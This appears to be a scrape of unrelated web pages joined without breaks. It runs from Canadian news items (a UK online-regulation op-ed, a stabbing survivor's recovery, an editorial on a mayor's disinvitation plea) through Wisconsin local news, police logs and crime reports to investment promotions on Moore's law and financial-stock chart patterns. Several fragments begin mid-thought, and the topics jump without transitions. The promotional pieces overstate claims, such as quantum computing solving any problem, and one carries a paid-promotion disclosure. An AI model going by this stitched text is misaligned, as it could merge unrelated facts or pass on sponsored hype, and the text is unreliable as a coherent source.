rebuilt Saint Boniface Cathedral. Amidst a growing consensus that social media and online platforms must be subject to public regulation, the United Kingdom has stepped up to do just that. In doing so, it has made a lot of people very angry. Hey there, time traveller! This article was published 26/4/2019 (971 days ago), so information in it may no longer be current. Opinion Amidst a growing consensus that social media and online platforms must be subject to public regulation, the United Kingdom has stepped up to do just that. In doing so, it has made a lot of people very angry. On April 8, the British government presented to Parliament an Online Harms white paper. Among other things, it proposes an arms-length regulator that would be responsible for setting and enforcing rules prohibiting speech that is illegal (think: child porn and hate crimes) or socially damaging (think: cyberbullying and intimidation). Overall, the proposed framework seems to echo ideas suggested by U.K. law professor Lorna Woods. Response to calls for regulation While some critiques have been a bit hyperbolic, the more measured ones have focused on the papers vagueness regarding definitions and how the regulator will be set up, and concerns that the regulator will be making rules addressing harmful speech that isnt (currently) illegal. Regulation is where ideals meet reality. Its easy to talk about "free speech" or the need for public regulation in the abstract. No matter the issue, translating such concepts into practice is always a messy process, fraught with compromise. While the white paper only applies to the U.K., it offers the rest of us the opportunity to think realistically about what public regulation of social media should look like. For all its flaws, the white paper is a responsible, if incomplete, attempt to address real social issues. For example, some people might be uncomfortable allowing a government agency (arms length or otherwise) to set rules governing harmful, but not illegal, speech. But heres the thing: were already in a situation where regulators are setting rules censoring such speech, only in this case the regulators are Facebook and other giant platforms. These private, monopolistic, unaccountable companies already set arbitrary rules that erase otherwise-legal speech from our online lives based on nothing but their own whims and prudishness. Such rules are no less significant because theyre set by private companies. As weve previously remarked, we are in the "worst of both worlds" when it comes to online speech regulation: private, unaccountable regulation and governments exerting extra-legal behind-the-scenes pressure to ban things they dont like. Somebody always sets the rules. We need to ask: who, how and for what purpose? Wed rather have these rules set by an accountable, reviewable public agency than by Mark Zuckerberg. Rules create winners and losers Concerns that the white paper rules would stifle "free speech" tend to ignore all the voices that are already stifled by the current de facto online rules. These include the women and people of colour driven offline by stalkers and trolls, and the reporters and public figures (especially women) for whom the price of entry into the digital public conversation is a ceaseless torrent of rape and death threats. Although not intended as such, the argument that rules governing such behaviour would stifle legitimate speech is effectively an argument to continue stifling the speech of those currently affected by these behaviours. The uncomfortable truth is that there are always rules. These rules will always exclude some people and ideas. The choice here isnt between free speech and censorship; its between who will and wont be heard. Want to get a head start on your day? Get the days breaking stories, weather forecast, and more sent straight to your inbox every weekday morning. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. That every system creates winners and losers makes it absolutely crucial that any rule-making process be both public and accountable. As far as we can tell, this describes the U.K. process: it involves open consultations, including with civil society actors and user groups. The white papers proposals remain general and open to interpretation, including how the actual rules will be set. Critics should see all this as an opportunity to shape the regulatory process, not as a burden to be resisted. Pay more attention to structural issues The white papers biggest flaw is that it almost completely ignores the systemic conditions that have made commercial online platforms so problematic. Their personalized-advertising, algorithm-fuelled, maximized-engagement-at-any-cost business model has played a large role in creating a poisonous online environment. Banning personalized advertising, limiting data collection and usage and addressing market-concentration issues could go a long way toward cleaning up the online environment without resorting to heavy-handed speech regulation. Failure to do so would likely severely limit the regulators effectiveness, forcing it into ever-more-direct interventions and confirming its harshest critics fears. Canadian regulators, take note. Online platforms arent responsible for all the worlds ills, but nor are they blameless. Greater public regulation is needed. We believe the U.K. white paper is a step in the right direction, arrived at through democratic processes and involving public consultations. It proposes rules that would be decided upon by a democratically elected government and implemented by an arms-length regulator, presumably isolated from direct government interference. This, for better or worse, is what democratic regulation looks like. Blayne Haggart is an associate professor of political science at Brock University. Natasha Tusikov is an assistant professor of criminology in the department of social science at York University, Canada. This article was first published at The Conversation Canada: theconversation.com/ca. It's not that Melody Sinclair wanted to die, she didn't. As the ambulance screamed towards Winnipeg's Health Sciences Centre, she tried to breathe, tried to hang on, and prayed to God she would make it: Jesus, please save me, she thought. Please don't let me go. Hey there, time traveller! This article was published 25/4/2019 (972 days ago), so information in it may no longer be current. It's not that Melody Sinclair wanted to die, she didn't. As the ambulance screamed towards Winnipeg's Health Sciences Centre, she tried to breathe, tried to hang on, and prayed to God she would make it: Jesus, please save me, she thought. Please don't let me go. There was no escaping the pain that arced through her body, radiating from the two deep stab wounds in her back. As paramedics and hospital staff worked to save her "Stay with us," she remembers them telling her she felt herself letting go: of the pain, of the fear, of her own life. Then, it was over, and she felt herself drifting away. Everything went white. "There was no more pain," Sinclair says, curled up on a couch in her sister's home. "It was just accepting death." It is a crisp afternoon in mid-April. It's been three months since Sinclair was stabbed, and more than six weeks since she was released from hospital. She is still healing, in body as well as mind, and the scars carved into her back will always remind of what happened that night in late January. She does not want to talk about the attack, or the person charged; it's complicated, and at any rate, she has chosen forgiveness. It's a conscious decision, one she made for her own well-being. "I don't want to hang onto that hurt anymore," she says. "I just feel like carrying unforgiveness really weighs a person down." JOHN WOODS / WINNIPEG FREE PRESS Melody Sinclair, who was stabbed twice on January 21, had to undergo blood transfusions, dialysis, two major surgeries and lost one-third of a lung. But she does have a story to tell. Because much is reported in the news about how people are injured; far less about how they survive. Headlines announce stabbings, shootings, assaults; what they rarely describe is how, for surviving victims, the journey is only beginning. In some cases, it is one that will never truly end. For Sinclair, the journey has carried her through blood transfusions, dialysis, two major surgeries, and losing one-third of a lung. It carried her first through the uncertainty of surviving the attack, and then into the uncertainty of how to start living again: while she was recovering at home, she was told she'd lost her job. Yet, she is still here. Hers is also a story of tenacity, of family, and of the faith she believes helped her get through. It is a story of friends rallying to help her get back on her feet, and one she hopes can help others understand what it takes to survive the unimaginable. Because Sinclair did die in the hospital, at the moment she recalls letting go. Seven minutes, is what staff told her that's how long she was gone before they revived her. For the next four weeks, she drifted through a medically-induced sleep, periodically waking up just enough to thrash at the ventilator jammed in her mouth. The dreams that came to her in sleep were strange, a jumble of things imagined and real. She dreamed the ICU was a school, and complained in the dream about how loud the students were. She dreamed she was writing a letter to the nurses, thanking them for taking care of her, but she thinks now the dream-nurses weren't real. Through the blur of that sleep, she began to understand she'd survived. "I just felt like God saved me," she said. "I thought I was done for, when it happened. But God didn't let me go yet. I felt grateful that I wasn't gone yet. I just knew I had to get better. Even in my dream I was telling my mom, 'I'm going to go back to work in two days. One more day here, then I'm going back to work.'" JOHN WOODS / WINNIPEG FREE PRESS Hospital staff told Sinclair she was dead for seven minutes before they revived her. Recovery would take much longer. Sinclair's body was struggling from the damage; the first surgery removed part of her lung. A second excised part of her colon, which was dying from lack of oxygen. Her toes turned black and, for awhile, medical staff thought she would lose them; they managed to hang on. Then, there was the thirst. It was incredible, all-consuming; for weeks, she could eat and drink nothing, for fear of aspirating it into her lungs. She was fed through a tube, but that didn't quench the thirst; as she got stronger, she began to sneak furtive handfuls of water from the bathroom sink, which at first sent her coughing. "It was the hardest thing I think I ever had to go through," she says. "My mouth was dry. My lips were cracking. My tongue felt like the desert... (When they finally let me drink), that morning, I had tears in my eyes." She was never alone. Her home community of Berens River First Nation supported her family with hotel costs; her mother stayed at her side, reading the Bible to her as she slept. Friends came to visit almost every day, and by the time Sinclair was released, the area around her bed "looked like a floral shop," she says with a laugh. It's the kind of support many people never get to see, because it only happens after they're gone. "It showed me that a lot of people cared for me, and just really made me feel special," she says. "It was encouraging." "I just knew I had to get better. Even in my dream I was telling my mom, 'I'm going to go back to work in two days. One more day here, then I'm going back to work.'" Bit by bit, Sinclair got stronger. Some of the nurses, she says, took to calling her "Miracle Girl." By the middle of March, she passed her swallowing test, and was finally able to eat a little. She remembers her first meal: it was Corn Flakes, she says with a laugh, and it was amazing. Four days later, they let her go home. The road to healing isn't over. Even now, Sinclair struggles to keep food down, and is limited mostly to soup; she's lost 18 kilograms since the day she was attacked. But she exercises every day, carefully trying to rebuild the strength that was drained from her body; she's started playing guitar again, which helps with her lingering anxiety. Want to get a head start on your day? Get the days breaking stories, weather forecast, and more sent straight to your inbox every weekday morning. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. Often, her thoughts turn to the future. One day, when she is healed, she hopes to donate blood, to give back the life that was given to her (in the hospital, she learned she is a universal donor, type O negative). With her old job now gone, she has been thinking about going back to university, maybe to become a teacher. "I just feel like my life is a whole new chapter," she says. "Everything that's old is gone... When God starts something new, everything's new. This is a chance to restart everything." Some days, when the road to recovery still feels too long, she opens her Bible and turns to Psalm 103, the verse she stood on for her healing, and finds strength in the faith she reached for, when everything was slipping away. "Who redeemeth thy life from destruction; who crowneth thee with lovingkindness and tender mercies..." "Its brought me to a place with God where I know how much Im loved," she says of her journey. "And I feel really like, my life is in his hands. Ill sometimes just cry, Ill be so in awe of his goodness to me. And I just pray, and I thank him, and it makes me want to let others knows how much love he does have for us." Now, all those who love her are helping her get back on her feet. On Saturday, Sinclair's friends are rallying for a fundraiser social at Boogie's Diner (1155 Main St.); tickets are $25, and it runs from 5:30 p.m. to 9 p.m. People can also donate on a GoFundMe fage. melissa.martin@freepress.mb.ca What sort of behaviour merits a heros welcome? And what level of misdeed justifies telling someone theyre simply not welcome? Hey there, time traveller! This article was published 25/4/2019 (972 days ago), so information in it may no longer be current. What sort of behaviour merits a heros welcome? And what level of misdeed justifies telling someone theyre simply not welcome? Winnipegs mayors have occasionally found themselves in the critical spotlight for their handling of the first question recall, if you will, Sam Katzs ill-considered presentation of the key to the city to Kiss bassist Gene Simmons, a rock star with a long-standing reputation for misogynistic excess, or Glen Murrays decision to offer the same honour to actress and frequent tabloid target Shannen Doherty. Activist Linda Sarsour has drawn some criticism for pro-Palestinian remarks regarding the Israeli-Palestinian conflict. (Mark Lennihan / The Associated Press files) Current Mayor Brian Bowman stepped up to the podium this week to address the second question by discussing a celebrity visitor to the city, but not for the purpose of conferring a ceremonial trinket or issuing a welcoming proclamation. Instead, the mayor urged a local group to disinvite a featured speaker from a public event. And in so doing, Mr. Bowman overstepped. Controversial though the individual in question might be, it is not the role of an elected civic leader to dictate whose ideas Winnipeggers should be allowed to hear. Several weeks ago, the Social Planning Council of Winnipeg released the lineup of speakers for a panel discussion Friday titled "Sorry Not Sorry: Unapologetically Working for Social Justice." Among the scheduled participants is Linda Sarsour, a Palestinian-American activist whose background includes co-chairing the 2017 Womens March on Washington, D.C., acting as executive director of the Arab American Association of New York, helping to organize Black Lives Matter protests, and serving as lead plaintiff in a lawsuit challenging U.S. President Donald Trumps anti-Muslim travel ban. Some of Ms. Sarsours other activities, including her pro-Palestinian remarks regarding the Israeli-Palestinian conflict and support of the boycott, divestment, sanctions campaign against Israel, have led to her being labelled as anti-Semitic by numerous Jewish groups. Other Jewish organizations have voiced support for her work. Want more great journalism? Get our best news and features delivered in your inbox every weekday evening. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. Representatives of the Jewish Federation of Winnipeg and the League for Human Rights of Bnai Brith Canada flanked Mr. Bowman as he urged the SPCW to rescind its invitation to Ms. Sarsour. That Middle Eastern politics are complex, nuanced and virtually impossible to discuss without inflaming passions on one or both sides is a truth that has remained unchanged for generations. For the unenlightened outsider, choosing sides is fraught with peril. Intentionally or not, by issuing his plea for a voice to be silenced, Mr. Bowman chose a side. He did not speak out last year when controversial academic and author Jordan Peterson brought his divisive message to town, nor did he protest when erstwhile Conservative party leadership hopeful and avowed xenophobe Maxime Bernier sought to advance his fledgling partys agenda in Winnipeg. Representatives of the Jewish Federation of Winnipeg and the League for Human Rights of Bnai Brith Canada stood with Mayor Brian Bowman as he urged the SPCW to rescind its invitation to Ms. Sarsour. (Mikaela MacKenzie / Winnipeg Free Press) Perhaps motivated by heightened sensitivity regarding anti-Semitic rhetoric and violence after a high-profile local incident, Mr. Bowman seems to have decided the SPCWs controversial speaker represented an opportunity to take a politically righteous stand (hes not alone; provincial Families Minister Heather Stefanson also denounced Ms. Sarsours panel-discussion participation). While its certain that theres more behind their statements than crass opportunism, the timing of the elected officials statements while the local incident was in the headlines, rather than back when Ms. Sarsours invitation was first made public suggests politics played at least some part in the decision to speak out. Winnipeggers, for the most part, are a resilient, thick-skinned and open-minded bunch. The politicians they elect should allow them to decide for themselves who they listen to and what they think of what they hear. My biggest fear is the next generation wont appreciate it as much, Jones said. He possesses the clock that once hung in the brewerys break room, as well as a 1907 wall sign, glassware, crates and promotional giveaways. Bless the Effingers; they advertised on everything, Jones said. Collecting such artifacts helps Jones better grasp the history of the brewery, which operated for nearly a century, and its important role in the community. Effinger had a local competitor, the Ruhland Brewery, for many years, and during Prohibition made soda and ice cream. I love the history of Baraboo, he said. It seemed like for every item, there was a story that went with it. He also enjoys collecting, a term he carefully differentiates from hoarding. His densely packed Seventh Avenue home the same one he grew up in bursts not only with brewery paraphernalia, but superhero figurines, Bucky Badger bobblehead dolls and commemorative Hollywood plates. I want collecting to be not such a dirty word, Jones said. I also was surprised to learn both of the men had been captured by Americans during World War II. They said they were happy to be captured and sent to prisoner-of-war camps in the states because it was the first time in years they had adequate food, clothing and shelter. They said theyd always be grateful to our countrymen for treating them well. What I noticed the most was the Germans reverence for the land. During the two world wars, they were threatened with starvation, so all of them raised vegetables on whatever land they had. Even when we were there, there were no wasteful lawns. Instead, every inch of land was planted in vegetables and flowers. Between our house and the one next door was a fenced asparagus bed on a piece of land the size of a house lot. Their reverence for the earth became crystal clear one day as I watched the man who owned and cared for the bed. When he was done hoeing, he went out of the gate, sat on the curb, scraped the mud off his shoes, carefully gathered every bit of mud into his hands and returned it to the plot. I also noticed that, every day, the women scrubbed their front porches, and on Saturdays they swept the street in front of their homes. Unlike Americans, though, they bathed only once a week so they wouldnt waste water. That was the beginning of my travels. I didnt know then how much more I had to learn in several more places. Pat Nash has lived in the Baraboo area, off and on, for more than 35 years. Contact her at patnash5149@gmail.com. President Donald Trumps appeal has been to working-class Americans but he has consistently put the interest of one-percenters over his base. His budget calls for cuts to the rich and corporations, creating deficits to be made up by cuts to domestic programs. The greatest hits would be to the disabled, elderly, ill, students education and loans, the impoverished needing food stamps, public housing subsidies and home-energy assistance. Child care and paid parental leave are not in his plan. Even his employees would get reduced pay and pension cuts. Our national parks and the agency that enforces worker health and safety will not receive enough to do their job well. Infrastructure and transportation have minimal allowances. Our country has had dramatic increases in measles, yet the Centers for Disease Control and Prevention and National Science Foundation both have significant cuts. Investments in renewable energy are eliminated yet fossil fuels are increased. Republicans are seriously considering cuts to Social Security and Medicare, but plan to increase defense spending. How much longer will people tolerate the inequality and fail to recognize they are getting the shaft? Allegra Zick, North Freedom Parking complaint At 7:48 a.m. Thursday, Thirsty Beaver, 500 Madison St., reported a camper in the parking lot that they wanted moved because there was work being done in the lot. Police left a message with the registered owner and gave them 24 hours to move the vehicle. Found syringe At 9:12 a.m. Thursday, a caller reported seeing a syringe in the road near the middle school. Police did not locate it. Welfare check At 11:50 a.m. Thursday, police responded to a report of two people yelling at each other at Swan City Park. Police made contact and found everything was OK. Noise complaint At 12:23 p.m. Thursday, police responded to a complaint of loud music in the 200 block of Haskell Street. The music was turned down. Trash complaint At 1:15 p.m. Thursday, a caller reported someone putting garbage into a dumpster in Knaup Drive apartment complex. The caller did not believe the person was a resident. The person was a resident. JUNEAU A 28-year-old Beaver Dam woman accused of shooting her boyfriend in the groin waived her preliminary hearing that had been scheduled for Thursday in Dodge County Circuit Court. Tonya M. Diniz, currently being held in Dodge County Jail, is charged with a felony count of second-degree reckless injury, use of a dangerous weapon, domestic abuse assessment and a misdemeanor count of pointing a firearm at another, domestic abuse assessment. She could face up to 13 years in prison and a $35,000 fine if convicted on all charges. According to the criminal complaint, Diniz called the police around 9 a.m. on April 14 from her apartment on Lake Crest Drive. Diniz allegedly told the 911 dispatcher that she had been messing around with her boyfriend, a 20-year-old Beaver Dam man, and the gun accidentally went off. Diniz, who had reported to 911 that her four children were at home, was upset during the call and informed the dispatcher that the victim could not walk after being shot in the groin. Nicholas Druecke has been identified as the man who died after being stabbed in a Mayville home Sunday. Mayville Police Chief James Ketchem made the announcement in a press release Thursday. He said the police department could not release much information due to the active, ongoing investigation. According to an earlier press release, police accompanied EMS to a residence in the 1000 block of Horicon Street for a call at 6:33 a.m. Sunday reporting a person with lacerations. After arriving at the scene, the police department discovered a man lying on the couch in the residence. He was conscious and said he was bleeding. Cuts were observed on his abdomen and chest. The man was transported by Mayville EMS to Aurora Summit Medical Center in Oconomowoc, where he died from his injuries, according to police. A 29-year-old man, whom Ketchem said was the homeowner, was located in an upstairs bedroom. The man was found to have cuts on his hands and forearm area. He was transported to Beaver Dam Community Hospital by Theresa EMS for medical treatment. Police have not released the name of the homeowner. Ketchem said the stabbing was an isolated incident and there is no danger to the public, but has not said if anyone is in custody or if the homeowner is a suspect. Follow Terri Pederson on Twitter @tlp53916 or contact her at 920-356-6760. The issue is deeply complicated and officials will have to figure out how to raise the necessary revenue while staying fair to everyone impacted, whether a trucker or someone who crosses the Wisconsin-Illinois state line regularly, the legislators said. Gov. Tony Evers has proposed an 8-cent gas tax increase in his budget. Officials are also looking at solutions like tolling and increased registration fees. Were not talking about getting rid of the gas tax, Born said. Some of us are questioning whether we should keep all of our eggs and more of our eggs in the gas tax when thats a revenue stream thats fairly flat because cars are more fuel efficient, there are more electric cars, hybrid cars, all the investment by the car companies and Amazon into electric cars and drones and other fuel sources. Eventually were going to put ourselves in a spot where those of us who are driving old cars are paying more and more for gas tax and other people driving alternative vehicles are paying less and less. Other options could include mileage fees and additional sales taxes on auto parts. Fitzgerald cautioned that just adding funds wont resolve the backup of construction needs. 1969 Guy Lombardo and his Royal Canadians will present the final concert of the Dodge County Community Concert Association 1968-69 series at Wayland Auditorium. Lombardo, Americas favorite bandleader, is associated with his traditional playing of Auld Lang Syne at each New Years Eve Celebration in New York City. Rev. LeRoy Partch died in a nursing home after a long illness. He was pastor of the Olivet Congregational Church for 30 years coming from Lake Mills in 1916 and serving until 1946. Rev. Partch was a 50-year member of the local Masonic Lodge, a charter member of the Columbus Rotary Club, and an active leader in Boy Scouts. 1979 Fire of undetermined origin completely destroyed a building at 120 S. Water St. that housed the Columbus Milk and Ice Cream Co., the Milwaukee Journal Agency and a garage. The milk and ice cream company has been operated for the past 10 years by Mr. and Mrs. Fred Yarwood. From December 19th through December 26th we will be granting free access as a gift to our readers presented by SSM Health Authorities are still trying to identify the body of a person who was found dead in a Montello house fire last week. Marquette County Sheriff Joe Konrath said authorities are still going through a process of elimination to determine a cause of the fire, and its too early to say definitively whether the fire was an accident or suspicious. But Konrath said he does know for certain that the persons cause of death was the fire and not smoke inhalation. The body was burned so bad it was beyond recognition, Konrath said. Medical examiners conducted an autopsy and are analyzing DNA to make a positive identification, he said. Konrath said its unfortunate that the process of identification takes some time to complete, but he expects the name of the deceased person to be released to the public sometime next week. Five state fire marshals offered assistance on the scene of the fire April 20, Konrath said. His office is leading the investigation. He said after interviewing several neighbors, authorities determined there is no threat to the public. Follow Brad on Twitter @BradMikeAllen or call him at 608-745-3510. Be the first to know Get local news delivered to your inbox! Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. These 3 Computing Technologies Will Beat Moores Law Theres a big lie about disruption going around. And folks arent spreading it intentionally. Many smart investors I talk to genuinely believe it to be the truth. If you accept this widespread lie, youll likely make poor decisions when investing in disruptive companies. Here, Ill explain the real truth and why it matters to disruption investors. Your Smartphone Is More Powerful than an Early 90s Supercomputer Your smartphone can do the job of a whole collection of gadgets. Its a phone, camera, camcorder, Walkman, watch, wallet, radio, global map, TV, VCR, and computer all in one. And keep in mind, all a supercomputer does is crunch numbers. We have Moores law to thank for this. Named after Intel founder Gordon Moore, it observes that computing power doubles roughly every two years. This has led to exponential growth in computing power. As you may know, exponential growth snowballs over time. It builds momentum and eventually leads to vertical gains, as you can see here: For the past few decades, computing power has more or less followed this path. This Is the Driving Force Behind Moores Law Moores Law says the number of transistors that can fit on a computer chip doubles about every two years. Transistors allow computers to compute. The more transistors you cram onto a chip, the more computing power it has. Again, for the past 50 years, this has more or less held true. Back in 1965, only 64 transistors fit on the worlds most complex computer chip. More than 10 billion transistors can fit on todays chips. Moores law is responsible for many of the giant stock market gains in the past few decades. Leaps in computing power enabled big disruptors like Apple, Microsoft, and Amazon to achieve huge gains like 50,800%, 159,900%, and 111,560%. And along the way, the companies that make the computer chips have gotten rich, too. Taiwan Semiconductor, Micron Technology, and Intel achieved gains of 1,014%, 3,256%, and 35,050%. Conventional wisdom is that Moores law will continue to snowball. As progress gets faster and faster, you can understand why many folks think were headed for a tech utopia. Its a great story. But its not quite true. Moores Law Will Break Down Moores law isnt really a law. Gravity is a law. Moores law is an observation and a forecast. As I mentioned, since 1965, it has held true. But heres the key... Within the next few years, Moores law will break down. You see, although todays transistors are microscopic, they still take up physical space. Theres a limit to how small you can make anything that occupies physical space. We are now approaching that limit with transistors. So the progress predicted by Moores law must slow. In fact, Moores law is already slowing down. Many technologists predict it will totally break down between 20222025. Does that mean progress will stop? Not a chance. New technologies will pick up where Moores law leaves off. There are three exciting computing technologies in development you should know about. 3D Computing Hits the Market Later This Year What does a city do when it runs short on land? It builds skyscrapers. By building up, you can create real estate with the footprint of a one-story building, but one that holds 100X more people. Something similar is just getting underway in computing. You see, the guts of computers have always been two dimensional. Flat computer chips sit on a flat motherboard. Nothing moves in 3D. Theres no up or down inside a computer chip. Thats now changing. In December, Intel (INTC) introduced its new 3D chip technology. It plans to begin selling it later this year. Tech reporters are touting it as how Intel will beat Moores law. Chips stacked in 3D are far superior to ones placed side by side. Not only can you fit multiples of transistors in the same footprint. You can better integrate all the chips functions. This shortens the distance information needs to travel. And it creates many more pathways for information to flow. The result will be much more speed and power packed into a small space. Eventually, 3D chips could be 1,000 times faster than existing ones. DNA Computing Is a Bit Further off, but Its Potential Is Mind-Boggling DNA carries the instructions that enable life. As incredible as it sounds, DNA can be used for computing. In 1994, a computer scientist at the University of Southern California used DNA to solve a well-known mathematical problem. One pound of DNA has the capacity to store more information than all the computers ever built. A thumbnail-size DNA computer could theoretically be more powerful than todays supercomputers. I wont get deep into the science here. DNA computing is still very early stage. But several companies, including Microsoft (MSFT), are working to push the technology forward. Quantum Computing Could Be the Ultimate Disruption The science behind quantum computing will bend your mind. To understand its potential, all you really need to know is this. The basic unit of conventional computation is the bit. The more bits a computer has, the more calculations it can perform at once, and the more powerful it is. With quantum computing, the basic unit of computation is called a quantum bitor qubit. Bits behave linearly. To get a 20-bit computer, you might add 2+2+2+2+2+2+2+2+2+2. Qubits are different. Every qubit doubles computing power. So, a 10-qubit computer could do 2x2x2x2x2x2x2x2x2x2 calculations at once, or 1,024. A 100-qubit quantum computer could perform over 1,000 billion billion billion simultaneous calculations. Those numbers are too big for humans to comprehend. In theory, a small quantum computer could exceed the power of a regular computer the size of the Milky Way galaxy. With enough computing firepower, a quantum computer could solve any problem. If we ever achieve far-out goals like controlling the weather, colonizing Mars, or reversing human aging, quantum computing will likely be the driving force. There Are No Pure-Play Quantum Computing Stocks Theyre all private or have been scooped up by larger companies. Many of the big tech players are developing quantum computing technology. Microsoft, IBM, Google (GOOG), and Intel are a few. Google looks to be in the lead. In March 2018, it unveiled its Bristlecone quantum processor, which the company thinks could achieve quantum supremacy. Quantum supremacy is the tipping point for quantum computing. Its the point when a quantum computer can beat a regular one in a useful task. So far, scientists havent been able to crack this. But once quantum supremacy is reached, progress should take off very quickly. This is yet another great reason to consider investing in GoogleI have pointed this out here and here. My Favorite Disruptor Stocks for 2019 Download my latest special report that reveals three favorite disruptor stocks that I see doubling in the next few years. Youll get pages of in-depth research on each stock as well as exact stock tickers along with our buy prices and target pricesso you can invest confidently today. Claim your free copy today. By Stephen McBride http://www.riskhedge.com 2019 Copyright Stephen McBride - All Rights Reserved Disclaimer: The above is a matter of opinion provided for general information purposes only and is not intended as investment advice. Information and analysis above are derived from sources and utilising methods believed to be reliable, but we cannot accept responsibility for any losses you may incur as a result of this analysis. Individuals should consult with their personal financial advisors. 2005-2019 http://www.MarketOracle.co.uk - The Market Oracle is a FREE Daily Financial Markets Analysis & Forecasting online publication. Harris Corporation provides technology-based solutions that solve government and commercial customers' mission-critical challenges in the United States and internationally. The company operates in three segments: Communication Systems, Electronic Systems, and Space and Intelligence Systems. It designs, develops, and manufactures radio communications products and systems, including single channel ground and airborne radio systems, multiband manpack and handheld radios, multi-channel manpack and airborne radios, and single-channel airborne radios, as well as wideband rifleman team, ground, and high frequency manpack radios. The company also offers vision-enhancing products; wireless communications systems; and Internet protocol based voice and data communications systems, as well as single-band land mobile radio terminals and multiband radios comprising a handheld radio and a full-spectrum mobile radio for vehicles. In addition, it provides electronic warfare, avionics, command, control, communications, computers, intelligence, surveillance, and reconnaissance solutions for defense and classified customers; and mission-critical communication systems for civil and military aviation and other customers. Further, the company offers intelligence, space protection, geospatial, earth observation, exploration, positioning, navigation and timing, and environmental solutions using advanced sensors, antennas, and payloads, as well as ground processing and information analytics for national security, defense, civil and commercial customers. Harris Corporation was founded in 1895 and is headquartered in Melbourne, Florida. Read More CoreLogic, Inc., together with its subsidiaries, provides property information, insight, analytics, and data-enabled solutions in North America, Western Europe, and the Asia Pacific. The company operates in two segments, Property Intelligence & Risk Management Solutions (PIRM) and Underwriting & Workflow Solutions (UWS). The PIRM segment combines property information, mortgage information, and consumer information to deliver housing market and property-level insights, predictive analytics, and risk management capabilities. It also offers proprietary technology and software platforms to access, automate, or track the information and assist its clients with decision-making and compliance tools in the real estate and insurance industries. This segment primarily serves commercial banks, mortgage lenders and brokers, investment banks, fixed-income investors, real estate agents, MLS companies, property and casualty insurance companies, title insurance companies, government agencies, and government-sponsored enterprises. The UWS segment combines property, mortgage, and consumer information to provide comprehensive mortgage origination and monitoring solutions, including underwriting-related solutions, and data-enabled valuations and appraisals. This segment also provides proprietary technology and software platforms to access, automate, or track the information and assist its clients with vetting and onboarding prospects, and meeting compliance regulations, as well as understanding, evaluating, monitoring property values. It primarily serves mortgage lenders and servicers, mortgage brokers, credit unions, commercial banks, fixed-income investors, government agencies, and property and casualty insurance companies. The company was formerly known as The First American Corporation and changed its name to CoreLogic, Inc. in June 2010. CoreLogic, Inc. was incorporated in 1894 and is headquartered in Irvine, California. Read More Financial Stocks Setting Up An Island Top Formation As we continue to scan the charts for setups and trigger to alert our followers, weve come across a setup that may be more ominous than what it appears. Recently weve posted articles about how the SPY and the NQ have pushed into new all-time high price territory and how Gold is setting up for a momentum base that should launch precious metals to near highs. Weve also discussed how we believe the current upside price bias in the US stock markets should last another 10~35+ days before new price weakness sets up possibly pushing prices lower in late May or early June 2019. Our research team has been scanning the charts looking for anything that could give us an edge to the potential setup for this price weakness in the future. We believe the Transportation Index and the Financials could be keys to understanding how far the upside rally can continue and when a price peak may begin to warn of a potential price top or rollover. An Island Top is a pattern that sets up with an upside price gap followed by sideways price action above that gap. In theory, this type of setup should promote the gap to be filled with downside price action before any further upside price move can continue. Although, gaps to the upside are fairly common in strong uptrends. Given the strength of the earnings data released early this week and the expectations that we have for some continued upside price bias over the next 10~35+ days, we are watching these Island Top formation in the Financials for any signs of weakness to alert our followers. This Daily FAS chart highlights the GAP as well as the Resistance levels that are currently acting as a ceiling. A breakout above the resistance level would indicate that we have more room to run higher. Any failed breakout to the upside, where price briefly rallies above the resistance level, then falls back below it, would be a pretty strong indication of a rotational peak. The Financials could fall 10% from current levels and still be within the range of the March/April lows. It would take a much bigger move to qualify as a breakdown bearish trend. This Daily XLF chart highlights a similar pattern to the FAS chart. The key element of the XLF chart is that the Resistance level provides more key fundamental price peaks than the FAS chart. On this XLF chart, we can see that the current Resistance level aligns perfectly with the Nov/Dec 2018 highs. We can also see a short GREEN Fibonacci trigger level line in early March 2019 above the Resistance level. That Fibonacci trigger level is still valid and any move above that level would constitute a new bullish price trend trigger. Any failure to break the Resistance level would qualify as a price rotation to fill the GAP and potentially set up a move back to near $25 looking to find new support. Overall, the Financials are poised for a move up or down. Our research suggests the US stock market is not done rising, thus we are concerned that certain sectors may begin to show signs of weakness as the broader market continues to rise. Our research team believes a critical peak formation is likely near the end of May or in early June 2019. It is because of this belief that we are warning traders to play the next 15~25+ days very cautiously. Watch the Financials, the Transportation Index, the US Dollar, and Precious Metals. We believe any early signs of weakness will be found within these symbols. With a total of 55 years of technical analysis and trading between Brad Matheny, and myself Chris Vermeulen, our research and trading signals makes analyzing the complex and ever-changing financial markets a natural process. We have a simple and highly effective way to provide our customers with the most convenient, accurate, and timely market forecasts available today. Our stock and ETF trading alerts are readily available through our exclusive membership service via email and SMS text. Our newsletter, Technical Trading Mastery book, and Trading Courses are designed for both traders and investors. Also, some of our strategies have been fully automated for the ultimate trading experience. Chris Vermeulen www.TheTechnicalTraders.com Chris Vermeulen has been involved in the markets since 1997 and is the founder of Technical Traders Ltd. He is an internationally recognized technical analyst, trader, and is the author of the book: 7 Steps to Win With Logic Through years of research, trading and helping individual traders around the world. He learned that many traders have great trading ideas, but they lack one thing, they struggle to execute trades in a systematic way for consistent results. Chris helps educate traders with a three-hour video course that can change your trading results for the better. His mission is to help his clients boost their trading performance while reducing market exposure and portfolio volatility. He is a regular speaker on HoweStreet.com, and the FinancialSurvivorNetwork radio shows. Chris was also featured on the cover of AmalgaTrader Magazine, and contributes articles to several leading financial hubs like MarketOracle.co.uk Disclaimer: Nothing in this report should be construed as a solicitation to buy or sell any securities mentioned. Technical Traders Ltd., its owners and the author of this report are not registered broker-dealers or financial advisors. Before investing in any securities, you should consult with your financial advisor and a registered broker-dealer. Never make an investment based solely on what you read in an online or printed report, including this report, especially if the investment involves a small, thinly-traded company that isnt well known. Technical Traders Ltd. and the author of this report has been paid by Cardiff Energy Corp. In addition, the author owns shares of Cardiff Energy Corp. and would also benefit from volume and price appreciation of its stock. The information provided here within should not be construed as a financial analysis but rather as an advertisement. The authors views and opinions regarding the companies featured in reports are his own views and are based on information that he has researched independently and has received, which the author assumes to be reliable. Technical Traders Ltd. and the author of this report do not guarantee the accuracy, completeness, or usefulness of any content of this report, nor its fitness for any particular purpose. Lastly, the author does not guarantee that any of the companies mentioned in the 